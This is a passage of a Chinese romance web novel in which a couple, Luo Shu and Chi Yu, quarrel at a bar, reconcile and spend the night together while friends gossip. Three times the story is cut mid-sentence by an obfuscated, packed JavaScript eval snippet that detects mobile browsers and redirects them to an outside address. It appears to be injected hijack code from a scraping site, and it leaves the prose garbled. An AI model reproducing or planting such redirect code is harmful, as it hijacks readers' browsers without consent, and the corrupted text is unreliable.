虽然已经长大，不再像以前一样对黑暗产生畏惧，可到底是荒郊野岭，洛姝心里面惴惴的，她本能想要跟池煜近一点，哪怕他现在这种态度，让她感觉真的有点像欲擒故纵。 好似在玩一种，她近他便退的……情趣？ 姑且算作是情趣吧。 她直接握着手电筒跑到他身旁，“走吧。” 德芙被主人牵着，从来不会很乖，完全不沿着路走，像是喝醉了打醉拳一般，走得东倒西歪。 池煜也因此被往旁边拽了一下，跟洛姝的距离拉开。 洛姝狐疑地瞧了眼池煜。 明明之前一起散步的时候，德芙出现这种现象，他都是稳稳拽着绳子，像这样被拖着往旁边走了好几步的情况，完全没出现过，看起来有点像刻意借着金毛的劲往旁边躲。 可是他躲什么呢？ “池煜。” “嗯。” 洛姝没有再选择朝他的位置靠近：“我最喜欢吃的水果，还记得吗？” “苹果。”池煜回答得很快。 洛姝生涩地打了个响指：“答对了。你也知道我有把好吃的东西收到最后才品尝的习惯。唯一的苹果被我藏起来，想过做苹果派，也想过榨成苹果汁。结果最后因为藏的时间太久，再想起来的时候，它的表皮发皱，水分似乎流失严重，但切开后果肉仍旧完好，可能口感上会比最开始有些出入，你说我怎么做，是拿来榨成汁还是苹果派才能补救？” “或许让它腐烂，才是最好的选择。”池煜这样回答。 * “他一定是在躲我。”洛姝十分确定地说。 梁诺诺回想了一下三天两夜的露营时光，说实话，没太看出来：“我看你们挺有说有笑的啊。” “只是看起来而已。”洛姝郁闷地把抱枕抱在怀里，在床上毫无形象地打了个滚。 想到半个月前去小蝶山露营的第一晚，她把池煜比喻成自己最爱吃的那颗苹果，他的回答蛮消极的。 ——或许让它腐烂，才说最好的选择。 他一定是听出了自己的画外音，才会这样回答。可这句话到底什么意思？是让自己放弃他么？ 当时她确实有些赌气，回去之后对他的态度也冷淡了不少，以至于后面从小蝶山回到市里时，一直没有主动联系过池煜，他也和自己保持一样的默契。 只有偶尔发的朋友圈他会点个赞，好像一段关系自然而然就淡掉了。 ……想到这里就更气了。 洛姝呆滞地坐在床上，好半晌才说：“要不我和他就这么算了吧。” “嗯？” 梁诺诺去摸她的头，“没发烧呀，怎么说算了就算了。我瞧着你俩这感情还在升温呢。” “不行。” 洛姝掀开被子下床，打开衣柜：“我要去找他问清楚。” * 二十一点四十五，“夜色浓”今夜的客人不算多，大多都只要了一杯酒便安静听着歌。 小李百无聊赖地摸鱼，察觉到有人来，抬头，“呀，许玥姐，什么风把您吹来了。” 许玥笑了笑，抬头猛地看见从楼上下来的池煜，打招呼：“池煜。” 池煜点点头，不冷不淡地招呼：“来了。” 然后调转方向，重新上楼。 虽然知道他对自己的态度一直这样，但许玥仍旧适应不了，快走两步踩上一级台阶，完全没有因为他的冷淡而挂脸。 在池煜走上最后一级楼梯时，她说：“池煜，怎么着也是老同学见面，你怎么这么冷淡，我好歹也是客人嘛。” 池煜轻轻弯了下唇角，扬起下巴看了眼李净。 李净忙反应过来，“许玥姐，我这不是招待你呢。” 楼上传来关门的声音，彻底把她的人以及她的声音隔绝在外。 许玥却仍旧固执地抬头，还是说：“是不是洛姝和你说了什么？你们两个现在好像都对我是眼中钉肉中——” 这信息量有点大，小李本想八卦一下，结果眼尖看见了洛姝，忙招呼：“诶，洛洛姐来啦，这几天很忙吗？” 洛姝瞥了眼许玥，笑笑说：“还好。” 许玥僵在原地，没回头也没继续说话，直直朝着左手位置的卫生间走去。 小李连忙提醒：“哎哎，你走错了，那边是男厕。” “……”许玥直接拐了个弯出去了。 梁诺诺没忍住，问：“她刚刚在干嘛，对着空气说话？” 小李：“跟煜哥说话呢，不过煜哥没理，早早就把门关上了。今天烨哥不在，要不要我去喊煜哥下来，陪你们喝两杯？” “不用。”洛姝随便点了两杯酒，拉着梁诺诺直接去了卡座。 小李挠挠头，总感觉有些不对劲，可又说不上来。不过他没多想，把调好的酒给了服务生，下意识朝卡座那儿一看。 有几个年轻男人端着杯子到洛姝和梁诺诺面前，不知道在说些什么，笑得倒是很开心，看起来就是在搭讪。 他招来离卡座最近的那个服务生，问：“他们是在跟老板娘搭讪吗？” 服务生一脸“你真该死”的表情：“正要联系方式呢，你就给我喊来了。” “你还想看戏？那可是咱老板娘！”李净推他一把。 “老板娘长得好看，被要联系方式不是很正常！” 李净匆匆上了楼：“煜哥！” 没听见回应，李净贴着门缝，继续说：“你再不出来就被撬墙角了——快出来英雄救美了，速速！” * “不好意思，已经结婚了。” 洛姝忍着内心的厌恶，笑容得体，婉拒来搭讪的几个男士。 男士们又看向梁诺诺，不待他出口询问，梁诺诺也露出得体笑容：“不好意思，我也是。” 等到几个来搭讪的人走后，梁诺诺狠狠呸了一口，发牢骚：“这些人怎么不去死，那几个男的还有戴着婚戒，其中一个在手背上还纹着女朋友名字呢。” 洛姝拥住她：“没事，不理就好了。” 梁诺诺缓了缓，这才把这件事抛到脑后，试探地问洛姝：“和池煜真就这么算了？” 当然，她希望这只是洛姝的气话，毕竟洛姝和池煜能再见面，又重归于好真的很不容易。 ——真就这么算了？ 洛姝不止一刻在心里这样质问自己，从前和池煜经历过的一切尽数在脑海中回放，哪怕是过了九年，也清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15404313|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晰记得。 想忘记一个始终占据在自己生活和内心的人，对她来说实在太难。 怎么可能忘呢，在自己好像被父母丢弃的那几年，陪在身边的始终都是池煜，他为了自己做出一些出格的行为也都是为了保护她。 他跟别人太不一样了。所以才记得那么深刻。 可是现在她明显能感觉到池煜在躲自己，那个反复让自己别躲、别断联的人，怎么自己缩回了壳里，这又是什么道理？ 洛姝将心思收敛，脸上不显半分遗憾，在心里叹了一口又一口的气，好半晌，忍不住自嘲，“当然就这么算了，总不能耗在他身上一辈子。” 暖色偏暧昧的灯光让渐变色的酒水看起来可口，可她无心品尝，那杯没动过的鸡尾酒被推到了桌中央。 “好啦别说气话。”梁诺诺揽住她肩膀拍了下，一抬头瞥见三步远表情有些凝重的池煜，心知洛姝的话被他听见了。 她有心想让两人单独沟通，梁诺诺找了个借口：“我去下洗手间哦。” “好。” 卡座就剩洛姝一人，她垂下目光，独自一人坐着实在觉得无趣，索性拿起了手包，手腕却猝不及防被人一把攥住！ 力道很重，洛姝吃痛“嘶”了声，手包脱手掉在地上。一扭头就看见那张熟悉的，让她最近一直反复胡思乱想的脸。 一反常态地，看见这张脸她感觉不到任何喜悦，先是感受到一股委屈弥漫至心头，而后腾升一股浓浓火气。 她冷着脸试着挣脱池煜的钳制无果，索性捡起手包重重砸在他身上，低喝：“松手。” 池煜不应，反而搂紧她的腰，属于他的灼热气息覆盖过来，喑哑的声音落在她耳畔：“你说算了就算了？” 洛姝仰着头看他，很冷静地点头：“对。” 明明今晚来的目的就是为了找池煜说清楚，可是看见人之后完全乱了分寸，心里只剩下怒意。用力推开他，洛姝绷着一张脸，不管不顾地抬脚，推开门朝外走。 酒吧街外靓丽的青年人不约而同将目光放在这两个模样出挑的男女身上，大胆地吹起了口哨。 两人的神色皆匆匆，看起来各怀心思，像是发生了不小的争执。 池煜追上洛姝，再次握住她手腕，看起来挺平静的，但语速加快，显然有些心急，拉着她去了车里，不由分说地替她系好安全带，抚摸她顺滑的头发，弯下腰与她平视，说：“我们回去说，好吗。” 洛姝胸口起伏，瞪着他，去摁安全带按钮：“没必要。” “丢了一次，还想丢我第二次？洛姝，没有这样的道理。”池煜强势地扣住她的手与之十指紧扣，欺近她，吻住她的唇，不同于之前蜻蜓点水的试探，又猛又急，狭窄的副驾驶只剩两人不稳的喘息。 莫名其妙的疏远和亲吻，他前后不一的态度让洛姝完全捉摸不透，她奋力推开，毫不客气甩去一巴掌。 很重的一声脆响，拉开了两人的距离，池煜被这猝不及防的巴掌打偏了头，洛姝也终于有空得以喘息。 片刻后，她攥着他的衣领拉近距离，报复似地吻上他，直到尝到他唇上的血气才重新推开。 池煜没管破掉的嘴唇，哑声重复：“回去说，你也想跟我谈谈，对不对。” 洛姝绷着脸，呼吸急促：“你确实该给我个解释。” 唇瓣被碾磨过一番泛着酥麻的热，洛姝说完就开始沉默，更多的是因为缺氧导致的愣神，不再挣扎也不再看他。 车厢内只能听见彼此因情绪不稳定而起伏的呼吸，洛姝也认为在“夜色浓”和酒吧街道不适合提及私事，她将车门合上，以此表明自己的态度。 一路上，两个人都保持沉默。 进门之后，房门“嘭”关上，情绪也像是被释放，不必再压抑，洛姝把一路上想了N多遍的腹稿拎出来，率先开口：“你让我别躲你，让我不要和你断联，我做到了，那么你呢？你开始对我忽冷忽热，这是什么意思，我不明白。” “还是说，你觉得我们分手多年，那点感情早就散了，对我也只不过是抱着玩玩的态度，几次撩拨后发现我当真了——” “洛洛，不是这样。” 池煜打断她的话，双手放在她肩上，让她看着自己，“我只是不知道该怎么面对你。” “那我到粱城你当做看不见我不就好了？是你先招惹的我，现在竟然说不知道怎么面对我，你不觉得可笑吗，你前后不一的态度很难不让我多想！” 洛姝鼻酸的不行，欺身上前拽住池煜的衣领，胸口起伏：“你是不是良心发现，觉得这样玩没意思，打算抽身才对我那个态度。今晚听到我说算了，你又故技重施。” 她露出一个无奈的笑，轻轻摇头：“池煜，耍我很好玩吗？” “洛洛，你冷静一下，听我说。” 池煜扶稳她瘦弱的肩，这一刻无比坦率，相对于洛姝的失态，他要稳定许多，可通红的眼眶看起来并不比洛姝好到哪里去：“因为我无意中知道当年你出国的原因，而造成你出国的很大原因，是因为我。我突然就懂了你这么多年不联系我，来粱城也想躲着我的原因。” “你这么长时间以来，是在——自责？” “是。” 洛姝呼吸加重，一直忍着的泪倏然滑落。 “那些根本不重要！” 可怒火仍在心头未消，她抬起手捶打着池煜的肩膀，几乎用了全部力气，将他推着撞玄关柜，抽噎着控诉：“害得我失眠，害得我想七想八，以为我们两个真的没有以后……” “是我错了，你想怎么罚我都可以。” 池煜擦掉她脸颊的泪，他的手肘碰倒琉璃瓶，一直被妥善存放的雪柳歪斜，连带着花瓶直直掉落在地毯上发出沉闷声响。 洛姝的控诉停下，转而说：“不许躲我。” 池煜应声：“不躲。” 洛姝继续说：“不许对我忽冷忽热。” “好。” “任何事情都要说出来一起解决。” “全都依你。” 他把洛姝整个人抱进怀里，趁热打铁，“我们和好，不分开了。” 40. Chapter 26 这不是洛姝第一次进池煜的房间。 可像夜里这样被他丢在床上，与他十指紧扣，两两相望，呼吸难分，是第一次。 被子应该是白天晒过的，蓬松，有阳光晒过的暖烘烘的味道，还混着浅浅的柠檬味的沐浴露香。 他俩擅长保留以前的习惯，可以说在念旧这条道路上始终保持一致，同样的沐浴露香气充斥着鼻腔，池煜这么多年没有换沐浴露牌子，很巧，她也是。 房间里没开灯，借着月光能看见彼此的面部轮廓，却看不见他脸上的巴掌印。 池煜伏在她身旁，甫一低头，湿漉的头发根根黏在一起扎在洛姝颈侧，又刺又痒。 洛姝偏开头躲他恼人的发，伸出手抚上他脸颊，轻声道歉：“我当时在气头上——” 池煜再次吻上她的唇，打断她未能说完的话，辗转几番后，嗓音微哑：“我知道，不用再说了。” 他不敢太用劲，导致洛姝轻而易举地踢开被子，将他扑倒在床上，狠狠捏了下他的脸，摸索着打开灯之后，一副立马走人的姿态：“我要回去了。” 床太软，洛姝险些让凌乱的被子绊倒，她扑在床上，膝盖陷进被子里，也没多想直接往前爬跪着走了两步。 她今夜出门匆忙，目的也只是为了去找池煜说个清楚，也因此睡裙外就套了件厚风衣。只是跟池煜从玄关吻到房间的时候，外套已经不知道丢在了哪儿。 此刻，睡裙下纤细的小腿暴露在空气中，灯光下的肌肤呈瓷白状态。 池煜眼神暗了暗，握住洛姝脚踝，制止她走，语气略带一丝不易察觉的央求：“洛洛。” 可认识这么多年，只要他情绪有细微波动就能察觉的洛姝，很轻盈地读懂了他的话。 很难得，池煜从来没有这样的时刻。 洛姝借力踢向他，很可惜没有踢掉他的手，她回头：“嗯？” “留下来吧。”他说。 而后用指腹蹭了蹭她的脚踝，继而放下。 竟然能从他嘴里说出这样的话来，洛姝真的觉得不可思议，她莞尔，“真的要我留下来吗。” 池煜这一夜想了太多，大脑超负荷，唯独在面对洛姝的时候彻底罢工，只想她说什么，自己就应什么。 尊崇自己的本心，他没有丝毫犹豫：“嗯。” 砰砰的心跳震得自己耳晕目眩，洛姝双腿盘着，说：“你……想好啦？” 自己却在心里替池煜回答，当然想好了。要不然怎么还正正经经地洗了个澡。 池煜一瞬不瞬地看着她，旖旎的氛围突然被她这么一正经问给问没了大半，他低低笑出声，头垂下去，“洛姝你怎么这样啊？” 笑了半晌才配合道：“我想好了。” 洛姝猛地将他扑倒，生怕他挣扎似地坐在他人鱼线的位置，还不忘握住他两只手腕，煞有介事说：“有个秘密，想不想听？” 池煜笑意没收，仰头看她。 灯光下，她的脸沾染着红晕，像是喝光了“夜色浓”点的那杯鸡尾酒，至今都没消退。 柔软的手轻柔攥住了他的手腕，好似被拷了起来，明明没有多少力道，可他就是轻易挣脱不开，也不想挣脱开。 她葫芦里到底卖的什么药，只要他想，就一定能知道。看向她不含杂质的双眼，池煜点头：“想。” 洛姝扯掉他最后一根心理防线—— 睡袍带子。 …… 只觉得顶灯在晃动，她艰难地仰着头，眼神有些涣散，仅能看见灯光四周朦朦胧胧的光影。 洛姝又扫了眼床头柜摆着的那一盒拆了封的东西，是池煜半小时前出门买的。 外面不知何时下起了毛毛细雨，他未干的头发沾染上细细雨滴，能闻到很浅的雨水气息。 这会儿他人正伏在洛姝身上，与她截然相反的状态，湿热的吻从唇一点点追上了脖子，在她前两天被蚊子叮咬的那块皮肉上啃了一口。 牙齿的剐蹭并没有让痒意消减半分，洛姝终究是没忍住，扯了下他的头发想让他停下，一句话顿了好几次才能完整说出：“池煜，你是不是属狗的……” 知道她阴阳怪气是什么意思，可池煜还是抬头，替她撩开遮眼的长发，耐心回答：“属兔的。” “……你真是。” 洛姝被气笑了，抬腿想踢他，却因为没有太多力气，刚抬起就滑下去，被池煜眼疾手快地掐住，稳稳放在自己腰上，回答得有模有样：“我来不就好了么？” 洛姝吐出一口气，咬牙切齿：“……你明知道我想踢你。” “知道是知道。”池煜笑着埋在她颈窝，而后抬起头，在她唇上亲了一口，“但是我想理解成别的。” “……” * 凌晨一点，苏望月拉着黑色行李箱，卡着墨镜，很夸张地进了“夜色浓”，李净没在调酒，半个身子撑在吧台，正在和唐烨说话。 “……煜哥攥住了洛洛姐手腕，没听清在说什么，总之他俩说了没几句话。洛洛姐推门就走啦，那表情看起来气得不轻，然后煜哥就追上去 唐烨原先想着池煜既然在店里，干脆就没想着过来，晚上约了朋友一起打台球。结果一直到半小时前李净给他打了电话，说是洛姝跟池煜吵架，池煜出了“夜色浓”没再回来。 “梁诺诺呢，你不是说她跟着洛姝一起来的吗，她人呢？” 李净继续说：“她早就回去了，听我说煜哥跟洛姐吵架的事情，还安慰我说他俩准没事……不知道是真还是假，但是我当时看着他俩那个样子，” 唐烨“嘿”了声：“老实说，池煜真不像是能跟他小青梅吵架的人，现在能见到面他就该偷着乐了。” 李净挠挠头，说：“虽然我也不太想信，但是我跟小如都看见了。” 这俩人自顾自地聊着天，没人注意到这正朝他们靠近的苏望月，他抬手重重按在唐烨肩膀上，吹了声口哨，而后说：“你们就吹吧。” 唐烨被吓了一大跳，差点从椅子上跳下来：“卧槽，你打哪儿来的，咋没脚步声？” 苏望月翻了个白眼：“怪我？是你们说我兄弟坏话太专注了好吗！我把话撂在这儿，池煜要是跟洛姝吵架我把头拧——” 唐烨打断苏望月的豪言壮志：“你少来，小李跟小如可都看见了，再说了吵架不是很正常，就像你爱陆红青爱的死去活来不也挨她的大嘴巴子？” “说池煜就说池煜，提到我干嘛？”苏望月大咧咧坐在一旁，不管李净和唐烨如何提到陆红青都拒不回答，点开手机快速在群里@池煜：在干嘛呢兄弟，哥们回来了，来店里喝两杯。 见池煜没秒回，继续轰炸：@池煜，收到请回答。 一连艾特了五遍。 打完字，他把手机随意往桌上一推，伸出一根食指，指着池煜的头像：“我敢打赌，他跟洛姝今晚必复合。” 李净和唐烨觉得他的话可信度为零：“不信。” 苏望月喝掉杯里的柠檬水，冰块被他嚼地嘎嘣脆：“我跟他好歹也十几年的兄弟情，错不了。” 半小时后。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15411978|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“估计是吵完架气头上呢，不想搭理你吧，月哥。”李净打了个哈欠。 唐烨已经兴致缺缺地刷起了短视频，揶揄道：“十几年的兄弟情也不过如此。” “急什么？”苏望月面无表情嚼冰块，他可以说是没酒量，李净不敢给他调酒，只是倒了几杯冰柠檬水给他。 话音刚落。 十几年的兄弟情回来了消息。 池煜：在谈恋爱，没空。 很冷冰冰的六个字。 苏望月简直比自己谈恋爱还激动，把手机丢到李净和唐烨面前，拍桌而起：“看见没，我就说错不了！” 唐烨：“……” 李净：“……” * “你手机怎么一直震。” 洛姝被折腾得没力气，本来都要睡着了，看见那抹光亮，意识又回笼了些，“大半夜还有人找你，你好忙啊，池煜。” 池煜低低地笑，遮住她眼睛摁开床头灯，“苏望月那只狗一直在群里艾特我，给你看看。” 等到洛姝适应光亮，他把手拿开，给她看手机，群消息被苏望月的消息霸屏。 “望月哥还是跟以前一样。”洛姝的目光落在池煜的回复上，朝他怀里拱了拱，就见他手机熄了屏。 她心血来潮道：“你手机密码还是我的身份证后六位么？”以前他们确定关系的时候，他的手机密码就是。 池煜把手机放她手里：“试试不就知道了么？” “可以么？”洛姝摁开机键前问了句。 池煜在她头顶摸了一把，“人都是你的，看个手机怎么了。” “哇，怎么这么贫啊你！” 洛姝把他往旁边推了推，屏幕被按亮，眼前赫然出现了很清新的锁屏壁纸，晴好天气，大片草地外，葱郁的巨树分布在四周落下阴影。 “从哪儿找的这么养眼的壁纸？”她随口问。 池煜凑近和她一起看：“好不好看？” “好看。” 找的壁纸不会无缘无故问她好不好看：“你拍的怎么这么好看。这地方看着有点眼熟诶，有点儿像海德公园。” 洛姝仔细盯着照片里出现的，也是唯一的人，心里猛地一沉，“……这是。” 她没再问下去，池煜不会无缘无故把陌生人的背影当做壁纸。 照片中的背影距离镜头有些远，洛姝凑近屏幕仔细辨认，女生坐在草地，一手撑在身后，一手抬起遮住刺目的阳光，抬着头。 因为是背影看不见面容，仅能看见她那在阳光下黑长顺滑的直发。 洛姝搂住池煜的脖子，心中五味杂陈。 在此前，她直觉池煜是在伦敦留学，碍于当时没想过和他和好就按下不提他留学的一切，甚至刻意没去问他去了哪个城市。 当时她避而不谈，池煜也保持默契没有提起。 然而在今晚，阴差阳错看见了这张照片，才得知他真的如直觉那般，在伦敦，离自己竟然这么近。 倘若那时她回过头看一眼，倘若那时候池煜因为背影认出她，是不是就不会把时间战线拉这么长远，不至于蹉跎到现在？ 困意全然没了，洛姝像树袋熊一样挂在他身上，脸颊被他锁骨硌到，她惩罚似地咬上去，又不舍得下重口，用唇瓣轻贴上去，低声：“这是什么时候拍的？” 池煜回搂着她，任由她在自己身上胡作非为，准确无误地说出了那个日期，这张照片也是存在他手机里最久的一张。 “五年前夏天。六月十四，你生日那天。” 41. Chapter 27 怀里的人一直在哭，压抑的声音呜呜咽咽，听起来相当令人怜惜。 洛姝很少有哭成这样的时候，池煜无奈把人抱坐在自己身上，可她不抬头，只能一边哄一边抚摸她的头发：“好了好了，不哭了。我这不是在你面前呢？抬头看看我。” 深夜会放大情绪，洛姝哭得很凶，紧搂他脖子不放，“当时怎么不喊我？” 她甚至开始责怪自己，明明离得那样近，当时为什么没有回头呢？ 或许回过头来看见他，一切都会不一样。 要是没满足谢雨杉的生日愿望，要是生日愿望的落脚点不是粱城而是别的地方，她跟池煜应该不会有这样温情的时刻，或许就像她不告而别前设想的那样，再也不会相见。 也幸好，他们兜兜转转，还是在粱城遇见。 “我那时候想，你应该不会想看见我。”池煜擦掉她不断涌出的泪。 那时他猜测洛姝提分手是因为月考，毕竟她很有傲气，要做就做到最好，所以接受不了那次考试失误才会提出分手选择冷静，这些池煜都理解。 可他不同意分手的结果就是洛姝开始拒绝见面，相邻的两个班想要碰面都需要提前约好，否则在那样高强度的学习生活中连面都见不到，更遑论她刻意不见。 那时高三学习紧任务重，又不在同一教学楼，每周五的周末假洛姝溜得很快，平常不接电话不回信息也不回任何消息，就像是打定了主意要跟他分手。 池煜只是当她在赌气，想要自己冷静冷静，然而没过多久，他就从洛姝班里同学口中得知，她出国了，就这样一声不吭地离开，去了异国他乡。 那张电话卡再也联系不上，租的那间房子也人去楼空，一切都仿佛是镜花水月。 好在过去这么多年也不算毫无收获，起码现在人就在自己身边，在怀中，在眼前。 “对不起。”洛姝不停重复。 “好了，你没对不起任何人。我也从来没有想过怪你。”池煜拿纸巾细致擦掉她脸上的泪，“别哭了。” 洛姝猛地吸了吸鼻子：“就哭就哭。” “诶，那也成。” 池煜很轻地叹了口气，翻了个身把她压在身下，盯着她通红的眼眶，用拇指蹭掉睫毛上的湿润：“那还是留点力气哭别的吧。” * 次日下午三点，木丸糖果店。 已经眼熟了洛姝的顾客看见收银台的陌生面孔，愣了下，“你们老板是又换了个店员么？” 梁诺诺笑了下，开玩笑道：“对的，老板财大气粗。” 顾客走后，坐在楼梯口的赵慕挽笑着说：“我这到底是个什么形象啊。” “财大气粗的形象啊，店员说换就换。” 片刻后，结伴来的客人们结完账，摸了摸小猫脑袋后出了店门。几乎是同一时刻，脸上带着温和笑容的赵慕挽收回笑容，没什么力气地瘫在椅子上，长长地叹了口气。 梁诺诺抱起离自己最近的狸花猫：“咋啦，从你回来开始就一直叹气，跟苏望月到底怎么回事啊？” “没什么事。虽然是一门心思扑在他身上，只想问个清楚，但是拎着箱子出门到车站就后悔了，天涯何处无芳草嘛，对吧？”赵慕挽提及这段时间，无所谓地伸了个懒腰：“真相就是我反悔了，去外面玩了一圈。” 梁诺诺愣了愣，想到她没有联系自己和洛姝，“玩了一圈？你怎么不发朋友圈分享分享。” “诶，幸亏你提醒我了。”赵慕挽猛地从椅子上弹起来，抓起手机翻开相册，“好无聊，我们一起来P图吧！” 梁诺诺嘴角抽了一下，刚要损她，玻璃门被人推开，洛姝裹着风衣走了进来，外面日头正足，她抬起一只胳膊，眼睛眯着，长发被风吹到脸颊一侧，看不清前方的路。 梁诺诺问：“昨晚真跟池煜吵架啦？” 洛姝坦白：“比珍珠还真。” 梁诺诺围着她走了一圈，盯着她眼睛看：“跟他吵架把自己气哭了？眼睛都肿了。” “还是能看得出来吗，还是消肿后才回来的。”洛姝无奈地叹口气，她早上一觉睡到日上三竿，去洗漱时候才发现两只眼睛肿得像核桃，中午也没怎么吃饭，冷敷了好久。 “吵架？看着不太像啊。”赵慕挽看见她风衣里的睡裙，了然地挑了下眉，颇有些暧昧地说：“总不能在他那儿吵了一夜。” “那倒是没有。”洛姝去二楼换了身衣服，站在镜子面前才发现身上好几处暧昧的痕迹，腰上和胳膊上都有，仔细盯着看了好久，才在耳后看见了一枚很小很浅的吻痕。 初春还有些清冷，她找出薄卫衣和直筒裤套上， 重新下楼时给自己倒了杯水，猛地灌了一大口。 梁诺诺好奇地朝外探了探头，小巷外只有几个粱城大学新校区的学生来这儿逛街，除此之外，附近的住户都在店内或家里没有外出活动，也没看见池煜陪着洛姝过来：“他给你送回来的？你俩和好没。” “嗯，和好了。”洛姝说完，捡着橱窗里的水果糖吃了一颗，酸甜的口感让味蕾苏醒，她不由得笑了笑：“我们复合了。” “哇哦。” 赵慕挽一脸我就知道的表情，“你考不考虑来粱城发展？” 洛姝靠着她肩膀：“目前不考虑，过段时间要回首都。” 两年前她曾教了个小女孩学英文，最近首都那边，学生家长再次找到她，请她帮忙辅导孩子新的功课。恰好过段时间谢雨杉要回国，赵慕挽现在也回来了，她打算回首都。 洛姝简单地说了一下自己的情况，梁诺诺笑着打趣：“那你这是刚跟旧情人复合就要和他异地恋了，池煜知道你要回去吗？” “还没告诉他，刚复合就说要离开？”洛姝撑着脸，把喝剩的水杯推到桌中央，盯着桌上被阳光照着的那一处，“会不会让他感觉我是在欲擒故纵。” “这怎么能叫欲擒故纵呢？”赵慕挽举起一根食指来回晃了晃，“这只能说是你们小情侣之间的情、趣罢了。” “噗嗤——”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15416398|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 三个人在店里笑得前仰后合，好半晌，洛姝才问：“你现在跟苏望月什么情况了？笑得这么开心，这次真放下了？” 不提还好，提起苏望月，赵慕挽就想到了曾听李净提起的，在陆红青面前的他。 那个永远肆意妄为的人完全大变样，总是嬉皮笑脸的人突然就有了别样的情绪，会愤怒，会吃味，她没见过，但是清楚地知道那副样子，永远不会是因为自己。 在意与不在意还是能切身体会到的，她因为喜欢也付出了相应的感情和精力，做到这一步已经足够，强扭的瓜甜不了，不如放开手。 她不再继续想，顺着洛姝的话点头，“这么一想，我留在这里似乎没有必要。” 说完她又皱起眉，反驳刚刚自己说的话：“不对，我留在这很有必要啊，店还在这里，现在我可是为了赚钱才留在这里的！好了事不宜迟——” 赵慕挽把手机拿出来，翻到相册，让洛姝和梁诺诺坐在自己旁边：“来来，帮我选几张p一下，我要发朋友圈！” * 池煜送洛姝回宁玲巷后便去了公司，苏望月也在，还特地到他眼前晃了一圈，拍了拍他肩膀：“唷，瞧着怎么这么高兴，果真是人逢喜事精神爽啊，谈了恋爱的男人就是不一样。” 池煜抬起肩膀向上，而后甩开他的手，笑骂：“滚啊你。” 苏望月跟着他往办公室走，“你俩复合，不得大张旗鼓请我们吃饭啊？” 池煜像看傻子一样看他：“大张旗鼓？请你们吃饭？你脑子是真坏了。” 苏望月这些年被怼的已经免疫了，他不再把重心放在吃饭身上，转而问：“我听小李说你俩吵架了，还挺凶的，咋回事呀，你惹洛姝生气了？话说你俩又是怎么复合的，快快，让我八卦八卦。” 明知池煜不是那种逢人就爱说自己私事的人，可架不住自己好奇啊，毕竟昨晚唐烨跟李净八卦的那叫一个认真。 他虽然不信，但这两人说的有模有样，也难免好奇。 话音刚落，他不小心瞟到池煜的右手，那上面赫然有一道牙印，不算深，可仍旧有着清晰的痕迹：“诶，你手怎么了？” 池煜顺着他的视线，垂眸，落在右手手腕上那道牙印上，罕见的沉默了，他不打算解释。 落在苏望月眼中，这赫然出现的牙印必然是洛姝气头上，跟池煜发生争执后咬的。 而此刻沉默的池煜必然是理亏的那一方。 苏望月阴阳怪气：“哥们，你这是打算再苦等老婆十年？了不起啊你。” 池煜再次看向牙印，这是半夜情到浓时洛姝咬的，等到反应过来的时候力道已经减轻了许多，可印记已经留下，看起来晚上应该会彻底消退。 他心不在焉地让苏望月“滚”，想起意乱情迷时，洛姝对自己的称呼，不由得牵起唇角，手指飞快在屏幕上点了几下，而后发送。 另一边，宁玲巷。 洛姝收到了条消息： 老婆，今晚可以来我家过夜么。 42. Chapter 28 “晚上咱们去哪吃饭啊，嗯？” 赵慕挽话说到一半，落在正低着头看手机的洛姝脸上，她皮肤很白，脸上稍微沾上红晕就很明显，“洛洛，你脸怎么这么红，热到了？” “啊？不热。” 洛姝在看池煜回的消息，下意识就想到半夜自己哼哼唧唧对池煜的称呼。 在那样旖旎的氛围下说出口的话，白天又被池煜以另外一种称呼提醒，有种莫名难以启齿的感觉。 她没回复，下意识把手机熄屏放在了桌上，用手背拍了拍脸颊，让自己不再去想：“店里有点闷。” 梁诺诺起身去开了窗户，接着上一个话题，问：“所以今晚咱们吃什么？” 洛姝一向是在“今天吃什么”这个问题中，给不出任何参考答案的人，她诚实道：“我听你们的。” 桌上的手机又响起提示音，她猜测是池煜没有收到回复发来的。拿起手机，她进了洗手间，明明回消息犯不着自己待在一处，洛姝还是有些怕池煜再回点让她面红耳赤的消息，说不定会让两个小姐妹看出什么端倪。 点进微信，尚未回复的消息下，池煜又发来一条四秒的语音：老婆，为什么不理我？ 学生时代的池煜，嗓音永远是那种淡淡的，声线干净好听却很少有个人的情绪掺杂在其中，而今他变得爱笑了许多，说起话的时候尾音往上扬，听上去带着点漫不经心又含着笑。 洛姝听了两遍，唇角跟着往上翘，然后快速敲了行字发过去，感觉自己在玩一直有些令人无语凝噎的抽象：？？？发错人了，我不是你老婆。 其实发完就后悔了，但想撤回已经来不及，因为另一边，池煜是秒回，仍旧是语音消息：原来昨晚压着我喊老公的另有其人。 